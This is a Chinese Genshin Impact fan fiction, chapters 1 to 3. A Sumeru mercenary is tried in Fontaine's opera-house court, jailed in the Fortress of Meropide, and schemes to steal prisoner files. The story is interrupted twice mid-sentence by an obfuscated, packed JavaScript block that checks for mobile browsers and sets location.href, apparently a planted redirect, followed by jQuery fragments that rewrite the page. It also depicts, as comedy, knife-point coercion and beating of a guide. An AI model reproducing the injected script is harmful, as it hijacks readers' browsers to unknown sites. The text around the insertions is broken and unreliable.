《[原神]你们枫丹这牢正经吗》
1. 第 1 章
露斯安知道自己在做梦。
梦里的梅洛彼得堡比任何时候都要潮湿而闷热,空气甜得像糜烂的水果,而她听到自己颤抖的呼吸,带着湿漉漉的、如同哭泣的迷醉。
发丝纠缠在身上,汗水沿着肌肤滚落,但有更多让她想要哭泣的湿热冲动依然隐藏在皮肤下面,这冲动驱使着她伸手,莹亮的汗珠沿着光|裸的肌肤一直向下滚落,最后滴落到掌心下的胸膛上。
她感受到了滚烫的热度,触摸到交错纵横的伤疤,她在昏沉饱胀的欲望里垂眼,迷离的视野里能看到蓝色的眼睛,银亮的手铐在结实的手腕上咔咔作响。
然后露斯安就醒了。
冲动和疼痛还残留在身体里,她对着钢铁打造的天花板发了一会儿呆。
她自己都不知道为什么会发展成这样。
一个月前,露斯安还是个在阿如村打铁的平凡佣兵,日常就是打铁、打猎、打人,然后抽空去老师的偷偷摸摸小课堂搞点正经知识,梦想是没什么梦想,毕竟“把教令院的老爷们挂墙上”不能算是梦想。
总而言之,日子过得安稳无趣,就像她这个人一样——至少老家的那帮人都这么评价她。
“磨磨唧唧的像个雨林长大的娘们,难怪都这个岁数了还没能成功绑个男人回家!”
没品的沙漠男人是这么说的,露斯安对此嗤之以鼻。
她觉得这帮大字都不认识几个的文盲就是在嫉妒她渊博的学识,本着沙漠人最好不要自相残杀的基础原则,她把他们约到村口,靠着以一对多的战斗胜利把他们挨个踩进了沙子里埋好。
“你竟然还奖励他们?!”
迪希雅听了以后觉得不可思议,“谁不知道那帮东西什么脾性,一天到晚不是喊着‘坎蒂丝再骂我一句’就是嚷嚷‘露斯安再踩我一次’,他们甚至会跑到我面前上蹿下跳‘迪希雅再来一拳’,你这么做根本不能让他们得到教训——你怎么还笑?”
露斯安苦恼地托着下巴,惆怅地看着眼前飞舞的黄沙:“嗯……那迪希雅打他们了吗?”
“我当然——好吧我也打了,这毕竟是忍不住的事。”迪希雅勉强地啧了一声,“怎么连阿如村都这么多变态,我们沙漠人可真是没救了……不过你也确实到年龄了,搞个正经男人回家倒也不是不可以。”
“那么问题来了,正经男人要到哪搞呢?”
露斯安笑得更苦恼了,她晃晃脑袋,又细又软的纯白长发顺着她的肩膀垂落下来,像一簇纯净的月光,和她白色的头纱一样在沙漠里闪闪发亮,“就算我其他姐姐们一样,从街上找一个看顺眼的套麻袋带回来,那前提也是有看得顺眼的对象才可以啊?”
但问题是这样的对象也不存在,她想发挥一下沙漠儿女应有的热情豪迈都找不到地方,
“我的要求又不高,只要长得好看一点,心理素质坚韧一点,然后再读过一点书就更好了,哪怕他是个手无缚鸡之力的文弱知识分子我也可以养他,但是沙漠里哪来的这种男人呢?”
总不能去雨林里绑吧……一条一条掰扯下来,露斯安自己都觉得这不可能有,“而且迪希雅为什么说我,你也好坎蒂丝也好都没有男人不是吗?”
“我觉得雨林里也没有这种男人……而且我要男人有什么用。”一旦轮到自己了,迪希雅发出了十分双标的嗤笑,“打也打不过我,说话也没什么意思,偶尔看看还可以,看多了还不如和坎蒂丝喝酒。”
“谢谢姐姐,但这好像也不能用来参考——不过我觉得从街上抢男人这种事还是太野蛮了。”
露斯安继续她的苦恼,“‘老师’说过的,读过书了就是文明人了!读过书的人不应该这么做,人与人的交往需要一些文明的手段。
“我见璃月的书里写过,找男人其实是一件需要技巧的事情,上床之前还有一些步骤叫‘交往’‘约会’和‘互诉衷肠’,需要一段朦胧而暧昧的月色,需要一些自然的或者是刻意创造出的巧合,然后异性们在可视范围很低的情况下凭借本能确认自己在被对方狩猎,这个时候如果谁先露出肚皮就会被叼回家按在床上——然后这个过程就叫做‘两情相悦’。”
她一条条总结下来,最后连笑容都变得哀伤了,“找男人好难啊,还是想办法杀进教令院把雨林的老爷们挂在防沙壁上更简单一点。”
“呃……”
你读的这个书,它真的靠谱吗?
迪希雅欲言又止地盯着手里的椰枣。
迪希雅欲言又止地盯着苦恼的露斯安。
“……对一般的沙漠人我会告诉他们要不跟‘老师’读点书吧别瞎想了。”
最后迪希雅这么说,“你的话,要不你别读了吧,我觉得书里大概不是你那个意思。”
看吧,连迪希雅也不理解。
满怀少女心事的露斯安怀着无处宣泄的苦闷,只能苦恼地杀了几只骸兽准备给晚上加餐。
总而言之,在沙漠里做个文化人是一件寂寞的事,诗情画意永远没有面包和水来得实在,黄沙漫天的赤王坟头根本就没人能理解她的文化和幽默,与其想着什么世界上可能根本不存在的“好男人”给自己徒增烦恼,不如出去狩猎回来让自己吃顿好的。
但是枫丹就很不一样了。
这是司掌“正义”的水神治下的国度,以完备的法典和卓越的审判体系而闻名诸国。
对于外国人而言,坐落于水中的枫丹庭就像是在蓝宝石之上雕琢出的恢弘梦境,那些特色建筑的白色砖石在明澈的水中莹润有光。
这里既不像须弥雨林那样湿热多雨、蚊虫肆虐,也不像沙漠那样干热缺水、温差极端,这里的降雨充沛而不泛滥,这里的植被丰富而不猖獗。
充沛的雨水滋润枫丹人的灵魂,适宜的温度滋养枫丹人的精神,充足的物资滋生枫丹人的热情。
在这样得天独厚的国土长大的枫丹人拥有外国人不理解的精力,在外国人不能理解的领域做一些外国人只能惊诧的操作。
比如,他们,把歌剧院,开在了,审判庭里。
或者说把审判庭打造成了歌剧院也可以……总之就是那个意思,不管怎么翻译都只能让外国人惊呼“你们枫丹人是不是有什么大病”。
须弥虽然没有歌剧院这种东西,但是须弥有大巴扎的舞台,横向类比,露斯安完全无法想象大巴扎和教令院合并到一起的可怕画面,一想到那些长枪制服、不苟言笑的风纪官们围在一起,对着戏台子上等着审判的犯人指指点点交头接耳或者抚掌大笑,露斯安就觉得自己大脑过载、两眼发黑。
但是热情奔放的枫丹人就敢这么干。
枫丹人不仅做了,他们还像须弥人在大巴扎看戏一样,携家带口呼朋唤友地兴奋地观看审判。
更有甚者,兴奋的记者们拿着留影机“噼里啪啦”地在下面拍照。
这样的画面对于外国人来说未免有点太过超前了。
至于露斯安为什么会知道这种事……那这也不是她想知道这种事的啊。
如果你踏入枫丹的第一天就被告上了法庭,那你也会一不小心就知道的。
露斯安感到茫然。
这件事的最大问题在于,她连自己为什么会被告上被告席都不知道。
她只是想来枫丹找一下老师的踪迹顺带再杀个人什么的,她从来没听说过枫丹是如此不安全的国度,什么都没做的旅客进城的第一站是审判庭这科学吗?
不,枫丹现在没有科学,他们的科学院已经炸了。
至于她的罪名是什么来着……呃,“非法入侵私人住宅”和“窥视他人隐私”——赤王在上,她只是跳到房顶上想观察一下城市的地形,这么抽象的罪名究竟是如何罗列到她身上的?
登高望远也是她的问题吗?你们枫丹庭的水路像蛛网一样复杂,一眼望过去除了水就是水,连条正经的出城路都没有!她连进城的时候都是从那个滑不溜手的城墙外面爬进来的!
露斯安觉得这个罪名从里到外都透着离谱,等到真的上了被告席她才发现,罪名已经是这个环节里最靠谱的部分,其他部分早就超越了离谱,在她脑子里延展出一大片须弥。
简称草。
他们枫丹的审判流程是这样的——她觉得自己说出去都不会有人信——
携家带口的观众在席上坐满并交头接耳(所以说审判到底为什会有观众),最高审判官用手杖敲击地面以示肃静并宣读被告的罪名(他真是个年轻而俊俏的老爷……所以你们一开始不要观众不就从根儿上肃静了吗),然后整个歌剧院的灯光暗下来,只留下一簇簇朦胧的光柱在台上逡巡(这玩意她可太熟了,大巴扎的人就是在这种光里演戏的)——
最后一步,年轻美貌的最高审判官站在常亮的白色光束里,像法律的化身一样宣告审判的开始,剩下的光在剧场的台上游弋,原告发言就照原告,被告发言就照被告,水神起哄就照水神。
啊对,你没听错,就是水神……露斯安去过很多国家,第一次知道神是一种这么容易见到的东西——水神会亲临审判,但是她没有卵用,反正她不负责审判当中的任意一环,她只是在贵宾席设置了个座位翘着脚看戏,那姿态让露斯安觉得,自己和原告可能都只是她play的一环而已。
抽象,太抽象了。
审判台上还有个数人高的机器,就设置在审判官座位的正下方,看起来很像个需要仰望的巨大天平。
天平里填充着蓝色的能量,会随着审判的进度在原告和被告之间摇摆——据说枫丹的罪名就是靠这个机器裁定的。
啊你问枫丹的最高审判官在审判里的用途?
他会让你肃静,他还会按照机器吐出来的小纸条宣读你的罪名.jpg
露斯安在这种抽象的过程里身心俱疲,她也不知道如何才能证明自己没有在偷窥他人的隐私——说到底她该拿什么东西来证明一件从来没有发生过的事情,难道要她掀开颅盖骨给他们看吗?
她真的只是来找人和杀人的,你们枫丹怎么可以这么不按常理出牌?
露斯安什么都不知道。
露斯安什么办法都没有。
她只能成为这场司法play的一环,老爷问什么她答什么。
“露斯安女士。”
美貌而庄严的最高审判官站在纯净的白色光柱里,用干净无波的声线问她,“你来枫丹的目的是什么?”
她来找失踪的老师。
她应该还需要杀个人。
即使是沙漠长大的露斯安也意识到了,这里面有个选项是不能告诉对方的,所以她思考了一下,给两个选项做了一个合并同类项。
她用真诚的笑容和真挚的声音回答:“我是来找人的。”
原告在自己的席位上声嘶力竭:“我知道的,她一定是受雇来找我的!”
遭了,她是不是说错话了。
露斯安只能发出虚弱的辩驳:“我没有。”
原告声泪俱下的声音盖过她的辩解:“她们,她们沙漠女人都不是人!那维莱特大人!她们沙漠女人是会把人至跪地拖回去做杏奴的!”
“……呃。”
露斯安开始心虚了,结果就这一个呼吸的功夫,代表裁定的天平开始向原告倾斜,露斯安大惊,于是她多看了两眼原告,通过他朴素的面容坚定了自己内心的清白,努力微笑着澄清,“我真的不会绑你的——”
原告一句不听,在席位上泣不成声:“谕示裁定枢机在上,她们在我旅行的时候就这么做过!那维莱特大人,你不可以信她啊!”
露斯安:“……”
真……真绑过吗,露斯安忍不住看了一眼他小鸡崽儿似的身板,不知道到底是哪个姐姐的口味这么独特。
绑他有什么用,他看起来一点都不禁折腾啊。
“那么,露斯安女士,针对该项指控,你有什么想要辩解的吗?你是否承认自己有目的地闯入私人领域、并对其怀有不轨企图?”
“我没——我到底为什么要绑他?!”
露斯安觉得自己的品味受到了侮辱,她没有任何证据证明自己的清白,但是她必须澄清自己的审美,
“他长得不好看也没有文化,我为什么要想不开去窥探他的隐私?如果我真的图谋不轨,那至少也应该选这样
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15096939|163730||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
看起来人模人样的老爷呀!”
她理直气壮地抬手,一阵阵吸气声像海浪一样传遍了歌剧院,留影机拍照的声音“噼里啪啦”像是要兴奋炸了,在她手指的尽头,肩宽腿长的枫丹最高审判官面无表情地沉默了一会儿。
然后他给她加了个罪名,叫“蔑视枫丹法庭,当庭骚扰枫丹要员”。
露斯安百口莫辩,最后选择放弃争辩。
接下来机器突出一张纸条,露斯安勇敢的发言让她喜提十五天监狱自由行。
枫丹的最高审判官——那维莱特,是个尽职尽责的美貌官老爷,在这场闹剧的末尾,好像压根就没听到过露斯安的骚扰发言,他用平板的语气告诉她还有“决斗”这条路可以走。
那意思就是,说如果她不服这个判决,那么她只要在决斗中胜利,那就有机会挽回自己的名誉。
“我方才注意到执法程序上的疏忽,你作为外国的旅客,并没有被告知应有的‘决斗’流程。
“那么根据已有条例,我有义务在此处进行后置的补充通知。
“所以,露斯安女士,你要行使你身为被指控者的决斗权吗?”
美貌的最高审判官站在白色的光里看着露斯安。
露斯安也站在白色的光里看着最高审判官的美貌。
在漫长的对视之后,露斯安张开嘴——
“…………啊?”
什……什么东西?
什么决斗?决什么斗?哪个决斗?和什么玩意决斗?是她知道的那种“决斗”吗?
你在说什么,我在听什么,我们之间一定有一方脑子不正常叭。
这抽象的枫丹大剧院她真是一刻都待不下去了——露斯安笑着笑着差点要哭出来,在万众瞩目的被告席上,她疲惫地抱住脑袋蹲下去:
“不我不会打架,我只是个文弱的读书人。”
树王也行花神也行,随便来个什么神保佑——她不想再见到枫丹的法庭了,希望老爷们行行好直接放她去坐牢。
区区坐牢可吓不到沙漠来的佣兵,直到她被告知枫丹其实没有牢。
枫丹的监狱不是监狱,是名为梅洛彼得堡的水下自治区。
“堡垒”“监狱”和“自治区”这三个词究竟是怎么被联系到一起的……那你问她她也不可能知道啊。
露斯安觉得自己还是书读得少了,她只是个刀头舔血的沙漠佣兵,不是很懂这帮水国老爷们的高端玩法。
她觉得接下来的一切就像是在梦游。
露斯安被执律庭的士兵拎着坐了一个小时的水上航道(现在她知道该怎么出城了谢谢,下次请你们早点和外国人科普这个),然后押解到了一处平台。
她看着雕花的地面在眼前缓缓开裂,一股冰凉潮湿的气息扑面而来,露出旋转向下的冰冷楼梯,以及隐藏在地面之下、似乎历经过无数时代变迁而显得古朴陈旧的金属升降机。
她就被这么指引着一路向下,走进升降机,看着升降机的门在眼前闭合,然后头顶的地面也在缓缓闭合,阳光从眼前褪去,一切生命活动都远离了她的感官,只有电梯运作的机械声在宣告时间的流逝。
她能感受到阳光辐射的温暖逐渐远离,取而代之的是一点点变得湿重的空气。
那是很漫长的一段路。
电梯再次打开的时候,她本以为自己会看到一些冷硬的钢铁栅栏——就像须弥的监狱那样。
但是并没有。
电梯外的空间宽阔得惊人,她被带着穿过长长的走廊,穿过昏暗但却宽阔的通道,踩着水波投注于地面的幽微光影一路向前,最后呈现在眼前的,却也并不是预想中那些狭小压抑的牢房——
光落进眼睛,就像掀开了眼前蒙着的纱——
她看到无尽的金属管道在眼前交错延展,然后笔直地向上延伸,那些带着斑驳锈迹的管道组成平台,组成桥梁,组成堡垒的骨骼与支架……
她在交错纵横的架桥下抬头,通过错落的缝隙,看到巨大的玻璃穹顶,水波潋滟的微光透过穹顶,在眼里印下倏忽变幻的光影,她听到机器运作的轰鸣,她闻到机油的味道,她看到正在捶打零件的工人,她甚至听到了不知何处传来的,雷动般的欢呼喝彩。
在终年不见光的水下,在远离阳光与绿植的水底,金属和钢管错落有序地组成冷硬沉默的钢铁堡垒,分明该是死寂而沉默的无主之地,但却有无数人类活跃在里面,展开自己的生活。
她抬头仰望冷铁与玻璃组成的穹顶,幽蓝的水光和城堡明黄的灯光混合在一起落到脸上,一瞬间,她感受到了一种近乎于永恒的安宁与沉寂。
露斯安确确实实被惊呆了。
她不知道自己应该说什么问什么看什么,过了半晌,她环顾这座圆形的堡垒,盯着那些或站或坐、行动自由的人们半晌,然后终于想起来提问——
“他们……都是犯人吗?”
“不,不全是。”接待处的漂亮姐姐这么回答,“梅洛彼得堡欢迎所有人,包括违法的和没有违法的。”
“……”
你们……你们枫丹人……
思维落回现实只需要一瞬间。
刚来枫丹就喜提坐牢的露斯安带着恍惚的笑容喃喃:“你们枫丹的牢这么好坐,杀人一定判得很重吧……”
“说什么呢。”旁边的看守诧异地看着她,“我们这儿废死。”
“…………”
你们枫丹人!!!!
这下连露斯安完全笑不出来了——传说中的正义之国、全大陆法律最完备的国家是这个样子真的没问题吗?!
可能是有问题吧,身后的枫丹人就“我们没有废死只是对死刑比较慎重”和“这不就是废死吗”之间吵起来了,但那个和露斯安已经没关系了。
她像幽魂一样情不自禁地向前飘了两步,看着这个结构复杂、冷硬封闭的水下堡垒喃喃:“你们枫丹的牢这么自由,消失两个人应该都没人知道吧……”
“想什么呢。”有人在她旁边凉凉地接口,那个咬字带着明显的沙漠口音,“把越狱的心思收一收,除非你想被‘公爵’惩罚。”
2. 第 2 章
“‘公爵’……?”
露斯安咀嚼着这个称呼,回头看向身后的引路人,“那是谁?”
这个词听起来就带着荣誉公民的味道,在这样闭塞阴冷的水下堡垒里乍然提及,似乎充满了对权力、地位与金钱的暗喻。
“我为什么非得告诉你不可?”
引路人嗤笑一声,抬腿就走,也不管她是不是能跟得上,
“这儿可不是什么过家家的温馨地方,没人会白白送你情报,想知道什么的话,就拿‘特许券’来换。”
看起来引路人并不友好,露斯安心想,而周围的人,无论是犯人或是守卫都没什么反应,似乎这样的态度是一种司空见惯。
“那‘特许券’是什么?”
问这个问题的时候,露斯安发誓自己只是想得到些基础情报,但她显然小瞧了枫丹这个地方,无论是水上还是水下。
当然,最初的这个问题,引路人虽然态度不好,但还是回答了的——
“这儿的货币,代替摩拉流通,但远比摩拉的职能更广,也能买更多的东西。”
“‘更多的东西’指什么?”
——谁能想到这个问题竟然通向地狱呢。
“免费的消息已经结束了。”
引路人刻薄地表示,“想知道更多?那就拿特许券来换。”
露斯安对此感到茫然:“可是,我不知道哪里能赚到特许券啊。”
引路人看起来很不耐烦:“该说的我都说了,所以说更多的消息要拿特许券来换。”
露斯安对此感到更加茫然:可是,我正是在咨询特许券的信息呀。”
引路人看起来被问出了火气,他开始抬高声音:“都告诉你消息要拿特许券来换了!”
露斯安的茫然进一步升级,她试图和对方的脑回路进行对接:“但是我根本就没有特许券呀!”
引路人看起来真的火了:“所以不是说了吗,让你去赚特许券啊!”
露斯安觉得自己的灵魂都在悲鸣:“但我不知道哪里才能赚到特许券啊!”
“我说过很多次了,想知道情报的话就拿特许券来换啊!”
啊?啊??啊???
你在说什么,我在说什么,我浪费二十分钟的口水就是为了听这些几把东西的吗?!
你这个逼人一定是他大爷的枫丹国籍!!!
原谅她用词如此不雅,但是她现在就是如此地刻板印象、以偏概全,这是一场完全没有意义的车轱辘式对话,他们所有的内容都在围绕着一个东西反复打转,简单总结起来就是:
您好,请问我怎样才能获得特许券呢→你他妈去赚特许券来换情报啊→您说得对,所以我怎么才能获得特许券呢→所以你他妈去赚特许券来换情报啊→所以我根本没有特许券→所以你他妈去给我赚特许券啊ver.无限循环
你想知道怎么才能赚到特许券?好的,那你他娘的要先去赚到特许券来换啊.jpg
她真傻,真的,她单知道水上的枫丹老爷们玩得花样繁多十分别致,她竟不知道这水下还能玩出新花样来。
对话开始的时候露斯安还能保持微笑,对话进行到现在她已经开始反复去摸腰间的武器。
露斯安觉得自己还是书读得少了,她肚子里那点稀薄的墨水根本就抑制不住血脉里奔腾的冲动,终于在引路人第五十三次重复“用特许券来换”的时候,她听到了脑子里传来了什么东西断裂的声音。
——男人,你在挑战我的底线。
不是她不想做个文明人,奈何枫丹不允许。
总而言之,接下来的一切都不是她的问题,只是他们刚好走到了宿舍,而她刚好产生了冲动,时间和地点都是如此地完美,不做点什么都对不起这个美妙的巧合。
“哎,男人。”露斯安听到自己无奈的叹息声,“你知不知道你这是在玩火。”
“啊?你说甚——等等,你要干什——唔唔唔唔唔——”
这是个不可抗力因素,毕竟这是第一个敢跟她这么说话的男人,他已经成功地引起了她的注意,等露斯安意识到的时候,引路人已经被她压在了床上,她手里是尖锐的匕首,武器下是引路人的脖子,那上面有一道细小的划痕,正在向外渗出一点血珠。
“唔唔唔唔唔——”
“嘿,这位老爷,我读书少,实在听不懂您那些弯弯绕绕,但如果你是在激怒我,那么我告诉你,你成功了。”
露斯安笑眯眯地看着他,“我们不如直白点如何?显然,您有特许券,而我有您的命,您说,这世界上怎么会有这样的巧合呢?”
“唔唔唔唔唔唔——”
“别这么激动,求我我也不可能放过你,一切都是你自找的,叫破喉咙也不会有人来救你——啊,我是不是应该给你个说‘愿意’的机会。”
“伤人是要加刑的——你现在放了我、还来得及——”
一旦嘴获得了自由,引路人艰难地发出劝阻的声音,“而且,如果、咳咳咳、我们一直没出去,看守一定会进来确认的——”
“这样啊。”
露斯安想了想,她觉得他说得对。
然后她抬手扯下了自己白色的防沙围巾。
她自认自己发育没有问题——沙漠人在这方面可谓得天独厚,出去谎报年龄也不会被人戳穿——穿得也没什么问题,该遮的地方一样不漏,裹胸下方垂下来的金饰也足够好看,手镯和臂钏都是最新的款式,她还别出心裁地在上面加了许多金链,指甲上涂的也是最流行的暗金色,一切都非常完美,但被她掐住的人看起来陷入了和刚才完全不一样的新惶恐里。
“你、你你你你你到底想对我做什么——”
“我们正在干一些你情我愿的事。”
露斯安笑着垂下头,身后松垮地束着的白发自裸露的肩头垂下来,在空气里暧昧地摇晃,她先用刀背拍了拍对方的脸,然后向下,“滋啦”一声划开了他胸前的布料,
“你喜欢疼痛,而我能制造疼痛,你很满意我的服务,所以你会付我特许券的,对吧?”
引路人惊悚地看着她。
锐利刀锋沿着他的身体游走,在下腹留下一道细细的血痕。
然后继续向下。
“我、我——你、你你——”
“你可以叫大声点,让所有人都知道我们在做什么。”
“你不能——救、救命,莱欧斯利大人——”
“嗯?在我面前竟然想着别的男人,是不是我还不够努力?”
“啊——啊——”
“不用忍,叫出来,我技术很好,能保证你一定很疼。”
…………
…………
引路人对她的服务十分满意,虽然他全程都在叫别的男人的名字,但是只要一拳下去就会哭得非常好听,所以露斯安可以宽宏大量地容忍他的放肆。
最后,他痛哭流涕地请她收下特许券以示感谢,并诚恳地请求她给他一个机会更详细地介绍一下梅洛彼
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15096940|163730||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
得堡的情报,以至于她甚至没来得及给他下达“三分钟,我要梅洛彼得堡的全部资料”这个通牒。
“所以,有什么快速获得特许券的方法吗?”
“我我我我不知道……我真的不知道啊!”
引路人滚下床,然后被露斯安用靴子踩住了衣摆,他衣不蔽体地跌坐在地上,像是被糟蹋过似的衣衫不整、精神萎靡,整个人都写着“求求你不要再继续了”,
“我们普通人无非是在生产区打打工、给看守跑跑腿,或者趁着新人来了的时候做个引路人敲一笔!你、你别过来,求你!
“我我我想起来了,拳力斗技场!开赛的时候前三名能赚一大笔!没有了,真的没有了,剩下的途径都写在加刑里了,我一个没有神之眼的凡人哪敢试啊!!”
“嗯哼。”露斯安愉快地记下情报,“那‘公爵’是谁?”
这次引路人当然没有重复“你他娘的去赚特许券啊”这个流程,他看起来恨不得把脑子摘下来直接给她看:
“莱欧斯利大人!梅洛彼得堡的管理人!这儿的典狱长!他让我们称呼他‘公爵’就行!”
“没了吗?”
“没、没————有!有有有!我也是听说的!那些在这呆了很久的老油条都说,在梅洛彼得堡最重要的就是别给自己找麻烦,别以为‘公爵’什么都不知道!”
露斯安因为这个陈述而挑起了眉毛。
“你的意思是,他能随时掌握梅洛彼得堡的全部信息?”
如果这是真的,那对她而言可真不是什么好消息,但是露斯安又很难相信这个叙述。
“这里少说也有上千人在活动,‘公爵’怎么能做到把握每个人的动向呢?”
“我不知道,这我真的不知道啊!”
引路人在她脚下哭得撕心裂肺,看起来比原告在法庭还凄惨,“我真的只是个小人物,平时根本见不到‘公爵’大人,最多只在他巡逻的时候见过背影!我觉得他看上去挺开明的,但他们都说,‘梅洛彼得堡最基础的生存法则就是别给公爵找不愉快——记住你的一切行动都是源自‘公爵’的默许,而不是他毫不知情’。”
没有了,这次真的没有了,一滴都没有了——底裤都被扒干净了的引路人抱着他一点都没有料的小身板,在露斯安的践踏下哭得梨花带雨。
“您看,我们明明可以相处得很愉快不是吗。”
露斯安笑眯眯地俯下身,在他惊恐的目光里为他整理胸前的破布,“您的嘴要是一开始就和身体一样诚实的话,我们就不需要玩这么多花样了。”
她想了想,然后又打开破烂他的衣襟。
引路人因为这个动作受了点刺激,看起来就要翻着白眼直接晕倒。
“沙漠人会记得所有朋友的帮助。”
露斯安将一叠特许券顺着他破烂的衣衫塞进去,拍拍他毫无手感的胸膛,“累坏了吧,你喊得嗓子都哑了,这是应得的报酬。”
引路人感恩戴德地抱着特许券就要滚。
露斯安想了想,在他即将跑出门的时候又踩住了他的衣摆。
“别紧张,只要你乖乖配合,这次不会很疼的。”
面对对方绝望的表情,露斯安安抚性地又塞给他两张特许券,然后笑眯眯地凑近他,
“嗯……两个小问题:
“第一,最近,有没有什么看着很有文化的女性入狱?
“第二,你知道最近有什么刑期很长的男人要出狱、或者刚刚出狱吗?”
3. 第 3 章
根据引路人的介绍,梅洛彼得堡总共有六层,但多数犯人的日常活动无非集中在舍监区、管理区、生产区几个地方。
简单来说,生产区可以打工,舍监区可以睡觉,管理区有特许食堂可以吃饭。
犯人每天要到生产区工作,工作可以换来特许券,从而保障基础生活,当然也可以通过支付特许券来免除劳动。
就……就很人性化。
可以说犯人在梅洛彼得堡基本享有自由,除了夜晚的行动有所限制,剩下的时间没人管你,甚至连去生产区打工都可以自选是上午还是下午。
自由,太自由了,自由的风神来到这怕不是都要被自由闪了腰。
梅洛彼得堡的自由很难一言蔽之,占地面积大得很自由,犯人们的作息也很自由。如果算上守卫和行政人员,怕不是有上千人同时在这里自由活动,要是想在这里找个人什么的,跟菜鸟在沙漠里找绿洲差不多是一个难度。
露斯安觉得自己很难办。
毕竟一切都只是她的推测,她现在不知道老师会在哪,也不清楚该杀的人有没有出狱,她需要一些更行之有效的手段,能让她快速检测一下这座堡垒内部人员的具体情况。
如果说哪里能让她快速检索到一切犯人资料的话——
她蹦蹦跳跳地走到管理区,视线情不自禁地飘到管理区的中央。
视线的尽头,深不见底的水将中央平台与周围一分为二,无数粗壮的管道都在此汇聚,然后错落有序地向上延伸,成为水下堡垒蔚为壮观的承重柱。
作为管理区的正中央,它显然承担着特殊的职责,看着颇有年月的金属大门镶嵌在正对接待处的方向,门的顶端和对称的四面都刻着硕大的狼头浮雕,工艺并不十分精致,但造型足够有力,沉默而又森严地昭显着那片区域的特殊。
——那是“公爵”的办公室。
根据引路人诚恳的介绍,犯人的所有信息都会在里面汇集,然后经由“公爵”的手一一盖章整合,最后变成有效的纸面资料罗列在里面。
换句话说,如果想要获取什么人的消息,再没有比造访“公爵”办公室更有效的途径。
但“公爵”显然不会给犯人分享这个,她也不可能像对待引路人那样让“公爵”接受她的服务。
而擅闯公爵的办公室会加刑。
所以剩下的路只有一条。
——只要没人发现,那就不会有人给她加刑。
露斯安愉快地做了决定,但现在显然还不是合适的时机。
她在等待的过程里首先写了一封信。
里面当然不会写“我要杀的人没找到所以决定去公爵办公室偷个名单”这种蠢话。
虽然信是寄给迪希雅的,但她先花了八百字跪着向坎蒂丝忏悔自己的不告而别,然后着重提及了枫丹的风土人情和旅途见闻,同时花了大力气歌颂梅洛彼得堡对生活质量的保障。
露斯觉得自己写得很完美,但那封信被接待处拦下了。
理由是梅洛彼得堡不是法外之地,他们这不接受淫|秽涩|情向外传递。
“……啊?”
露斯安疑心自己听错了,她试图通过微笑来传达自己的震惊,“对不起这里水太多我没听清,您刚刚说了什么?”
接待处妆容精致的女员工意味深长地看着她,她从那个眼神里看到了愤懑、隐忍、克制,以及“你知道你写了什么东西”的控诉,要不是亲眼所见,她都不知道人类能靠眼神完成如此复杂的情绪传递。
“我……我的信有问题吗?”
她对着柜台据理力争,指着那上面对枫丹和梅洛彼得堡的赞美给对方看,“‘……我们都知道枫丹最著名的就是时尚、正义、轻工业,但你绝对想不到,他们的正义实在是时髦得过分了’——呃,不是这里,我是说,您看,”
她假装自己没有读过上一段东西,直接跳到下一段继续:
“‘——不愧是坐拥‘科学院’的国度,连街上巡逻的警卫都是机械兵!只是没想到水下也有如此发达的工业系统,生产区架在空中那条吊货的传送带真是叫人百看不厌,听说这里甚至是枫丹最大的‘发条工厂!’
“‘一想到我踩出来的零件会在机器里整合、变成架在空中那些永不停歇的传送带上那一排排整齐的机械警卫、进而变成这个国家随处可见的巡逻机械,我就觉得自己该情不自禁地挺起胸膛,感叹我白色的防沙围巾都要变红了’——”
“感谢您对枫丹的夸奖。”接待员露出一个非常职业化的微笑,同时义正辞严地表示,“而这并不能成为您对那维莱特大人性骚扰的理由。”
“我性——我——”露斯安噎住了,“…………啊??”
她在“罪名为什么又升级了”和“我哪里性骚扰了”两个问题之间犹豫了一下。
“‘那维莱特大人’是谁?”她问。
接待处矜持而又克制地看了她一眼,她觉得那个眼神像是在说“你在装什么傻”,而后她就看到对方铁面无私地抖开她的信,清了清嗓子——
“致:我亲爱的迪希雅,对不起但是我可没胆子给坎蒂丝写信,只希望未来回去的时候她能给我留条命(下略)……
“……建议你得空也来看看,毕竟大巴扎根本就没有他们能演戏,此外的收获是这儿的审判官老爷长得不赖,似乎身材也不赖。仔细想想,‘不赖’大约也不准确,应该说,那位老爷确实是有料极了。别看他穿得整整齐齐、衣冠楚楚,一副弱不禁风的学术份子的样子,但若是褪下了那身长袍!!!!”
接待处的姐姐在这里猛地抬高了声音,而露斯安确信自己在那里并没有使用这么激烈的感叹号。
托这一嗓子的福,一时间走廊里所有的生物和非生物都扭头看了过来,很难说那一整排机械守卫无机质的目光和看守姐姐那充满怒火的目光哪个更扎人些,但是露斯安有理由相信,随着抑扬顿挫的阅读进行下去,看守姐姐的目光迟早能把她烤成碳。
“——相信那下面隐藏着的也是战士的身躯,我打赌能看到紧致的肌肉,不然他的胸膛看上去也不会如此软中带硬、充满弹性,只可惜这位老爷看着就不会让人摸,大约也不会接受摩拉的交易,更不可
